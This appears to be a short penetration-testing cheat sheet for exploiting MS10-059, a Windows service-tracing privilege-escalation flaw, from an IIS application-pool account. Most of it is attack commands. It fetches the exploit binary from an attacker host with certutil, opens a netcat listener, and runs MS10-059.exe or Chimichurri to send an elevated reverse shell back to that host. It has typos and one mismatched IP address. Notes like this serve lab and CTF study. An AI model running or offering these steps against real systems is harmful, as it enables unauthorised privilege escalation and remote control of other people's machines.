MS10-059

MS10-059 - Vulnerability in the Tracing Feature for Service

MS10-059 is an elevation of privilege vulnerability in thr tracing feature for windows service. This exploit works specifically with IIS users (like IIS APPOOL\DEFAULTAPPPOOL). Successful exploitation can allow an attacker to execute coode with elevated privileges.

---

Note:

• Exploit works with IIS users only.

• tested on windows 7 Ultimate (x86 and x64)

---

Identify IIS User:

whoami

Example Output:

iis apppool\defaultapppool

---

Exploit Execution

Exploit Files

1. Download Exploit to target machine:

using certutil to download the exploit file:

certutil.exe -urlcache -split -f "http://192.168.29.218/MS10-059.exe" MS10-059.exe

---

2. Start Netcat Listener on the attacker machine

rlwrap nc -nlvp 4455

---

3. Execute the Exploit

MS10-059.exe 192.168.29.218 4455

---

4. Using Chimichurri Exploit (Alternate):

chimichurri.exe 192.168.28.218 4455

---